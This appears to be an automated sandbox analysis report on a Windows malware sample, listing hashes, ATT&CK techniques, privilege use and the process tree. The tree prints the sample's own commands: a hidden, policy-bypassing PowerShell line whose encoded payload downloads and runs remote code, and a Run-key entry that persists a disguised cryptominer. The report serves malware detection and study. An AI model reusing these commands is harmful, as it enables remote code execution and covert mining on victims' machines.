66a1f6ccc9f869945bec8149f1af5ce5bb587d3d25c8008cfdc0bf3c0cebf9c2

Analysis

user interaction
yes
max time kernel
126s
max time network
123s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
07/11/2026, 22:22

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General

Target
rename.exe
Size 4.5MB
Sample261107-2aa1csfy2z
SHA256 66a1f6ccc9f869945bec8149f1af5ce5bb587d3d25c8008cfdc0bf3c0cebf9c2
MD5 42fe4a56c232d4f65bfa7ad9eab99812
SHA1 ff382fff460371f167ae09d2f2cf54d7d6264a0b
SHA512 3694acd3980705493876209de679cd316f596f5255be2a0eb23971dbef18a8c54adb08f7dad42217ca855768910bba8d6f1d9d69f74429f2a64af9f9fc29c1c6
SSDEEP 98304:+bwdaDFrhpwBP/OlsLzFmNfW6FJKxxfZA4AnyxpELRSKE+R1Y:+bUEFHGpELcoR1Y
TLSH
T131269DC6BF88F5E0C4A48834B916D5BDC6737C7A8A11468732D7FB1F2A37180552B92B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	1552	powershell.exe
4	4156	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4156	powershell.exe
1552	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	lFK4eRRGv35m

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1494457106-2582563566-1599095290-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftEdge\\SystemSettingsBroker.exe\" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig"	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wctACAC.tmp

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1552	powershell.exe
1552	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
3136	wctACAC.tmp
3136	wctACAC.tmp
4156	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1552	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeIncreaseQuotaPrivilege	4156	powershell.exe
Token: SeSecurityPrivilege	4156	powershell.exe
Token: SeTakeOwnershipPrivilege	4156	powershell.exe
Token: SeLoadDriverPrivilege	4156	powershell.exe
Token: SeSystemProfilePrivilege	4156	powershell.exe
Token: SeSystemtimePrivilege	4156	powershell.exe
Token: SeProfSingleProcessPrivilege	4156	powershell.exe
Token: SeIncBasePriorityPrivilege	4156	powershell.exe
Token: SeCreatePagefilePrivilege	4156	powershell.exe
Token: SeBackupPrivilege	4156	powershell.exe
Token: SeRestorePrivilege	4156	powershell.exe
Token: SeShutdownPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeSystemEnvironmentPrivilege	4156	powershell.exe
Token: SeRemoteShutdownPrivilege	4156	powershell.exe
Token: SeUndockPrivilege	4156	powershell.exe
Token: SeManageVolumePrivilege	4156	powershell.exe
Token: 33	4156	powershell.exe
Token: 34	4156	powershell.exe
Token: 35	4156	powershell.exe
Token: 36	4156	powershell.exe
Token: SeIncreaseQuotaPrivilege	4156	powershell.exe
Token: SeSecurityPrivilege	4156	powershell.exe
Token: SeTakeOwnershipPrivilege	4156	powershell.exe
Token: SeLoadDriverPrivilege	4156	powershell.exe
Token: SeSystemProfilePrivilege	4156	powershell.exe
Token: SeSystemtimePrivilege	4156	powershell.exe
Token: SeProfSingleProcessPrivilege	4156	powershell.exe
Token: SeIncBasePriorityPrivilege	4156	powershell.exe
Token: SeCreatePagefilePrivilege	4156	powershell.exe
Token: SeBackupPrivilege	4156	powershell.exe
Token: SeRestorePrivilege	4156	powershell.exe
Token: SeShutdownPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeSystemEnvironmentPrivilege	4156	powershell.exe
Token: SeRemoteShutdownPrivilege	4156	powershell.exe
Token: SeUndockPrivilege	4156	powershell.exe
Token: SeManageVolumePrivilege	4156	powershell.exe
Token: 33	4156	powershell.exe
Token: 34	4156	powershell.exe
Token: 35	4156	powershell.exe
Token: 36	4156	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 3272	4748	rename.exe	81
PID 4748 wrote to memory of 4508	4748	rename.exe	82
PID 4508 wrote to memory of 1552	4508	lFK4eRRGv35m	83
PID 4748 wrote to memory of 3136	4748	rename.exe	85
PID 1552 wrote to memory of 4156	1552	powershell.exe	87
PID 4156 wrote to memory of 556	4156	powershell.exe	90

C:\Users\Admin\AppData\Local\Temp\rename.exe
"C:\Users\Admin\AppData\Local\Temp\rename.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Users\Admin\AppData\Local\Temp\4180045461\zmstage.exe
  "C:\Users\Admin\AppData\Local\Temp\4180045461\zmstage.exe"
  2⤵
  PID:3272
- C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m
  "C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m"
  2⤵
  - Checks BIOS information in registry
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\gmk3ni0s.cfe.ps1"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4156
    - - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig
        5⤵
        
        PID:556
- C:\Users\Admin\AppData\Local\Temp\wctACAC.tmp
  "C:\Users\Admin\AppData\Local\Temp\wctACAC.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:3136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c15fa04d510034cd6e9148ebb92a559e546843d5db98a27086504fab4f36d02e
MD5 60efcaf245291c5fb8d700f099c371ea
SHA1 f066c7e948db3cda233b4e2786aad20c7f106920
SHA512 9b1b41ca283062e3ba80d358d5e0a9dfd2603cb66ced63b19349801cb0b260473d8b56a2fbc1f7bda8beceb3499f8ad7dfdef6090e87299e5c7497825749d513
TLSH
T1F561CD323275B0D489567F07192C19C463BF8356EA94AF4CB658620ED92744BDF222F3
MD5 SHA1 SHA512 TLSH

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21.220.1024[1].json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\EQYL8IZ4\21.220.1024[1].json
Size 5KB
SHA256 89e25ffa7b877a83e7b9b7fff286061c024c2864db428887fd3e8751c4047f60
MD5 38d681264d16b02b840d6b0d172c6db6
SHA1 1a9a9be95957c6d46f5c6ce62edf0cece951469a
SHA512 d9118eec17c2aace5bd0e883afbd41c24a9dcd82238bbf1737a406984721bcb479bd88365fba65995cd88fe53c5dafe32a8f132d8be929537740d7234b9189f0
SSDEEP 96:eWUskSVKCagXTcOgjDbryA/LWWH/eiNBDZMih96l4mQcB8o:eWV0njrDe4mQcB5
TLSH
T1CFB1C7D83AA845F6D9D2C1094F6AFF183CFF147754AB5968B4EC02083079BA7A34385B
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 96a9f865e16c4380ad4c536446ced4b73c088027b56577e85836fc8f34c5125a
MD5 78c94ed9b37c4b3582254d311d65bf80
SHA1 ce673bd8ba6d26e12ca1a7bcbdfa304cdd87de02
SHA512 5cbf82fa50298c17acb0cc796e94820c3266252cc8ed327992573a7238fdf03496f83c81bdb7f468283fe0a0f2be66ffe8ae3157281cee62b73af1997ff03fbf
TLSH
T1B2219833B79CC234C8D9017A128CAD00B2B5C3C7C49ECE8B7A84C504A17F9DADB6C1A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_2aw0niul.fm5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2aw0niul.fm5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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gmk3ni0s.cfe.ps1

Path C:\Users\Admin\AppData\Local\Temp\gmk3ni0s.cfe.ps1
Size 98B
SHA256 cf70f689a8b3698f14cb3d4b773fe975fe3ea701317445adb4ee1ba1c56da72a
MD5 18ce0fc780b98ffc755a1ee821c7d450
SHA1 aa92ab19d0293c34c8e976dacd168c4fe6042eab
SHA512 b93e8d2c1c1e873ad165d1d22271ac0f5384d286bf2465dbd22d975115d3063cf80118af5db6f16590af15d49c5cd5c848e1aef918dee4f51b22bfe8b5a6322b
TLSH
T1CBB0122216074C8B03E8271184226101E4C4349C302440DB7E5023858110BD8770C40D
MD5 SHA1 SHA512 TLSH

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memory/1552-1-0x000001FA71920000-0x000001FA71942000-memory.dmp

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memory/1552-8-0x000001FA6F7A0000-0x000001FA6F7B0000-memory.dmp

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memory/1552-10-0x000001FA71F20000-0x000001FA720E2000-memory.dmp

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memory/1552-0-0x000001FA6F7A0000-0x000001FA6F7B0000-memory.dmp

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memory/4156-29-0x000001F99A7A0000-0x000001F99A7BC000-memory.dmp

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memory/4156-31-0x000001F9FB890000-0x000001F9FB89A000-memory.dmp

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memory/4156-33-0x000001F9FD490000-0x000001F9FD4B4000-memory.dmp

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memory/4156-32-0x000001F9FD490000-0x000001F9FD4BA000-memory.dmp

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memory/4156-34-0x000001F99A880000-0x000001F99A8A7000-memory.dmp

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memory/4156-35-0x000001F9FD430000-0x000001F9FD444000-memory.dmp

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memory/4156-30-0x000001F99A7C0000-0x000001F99A873000-memory.dmp

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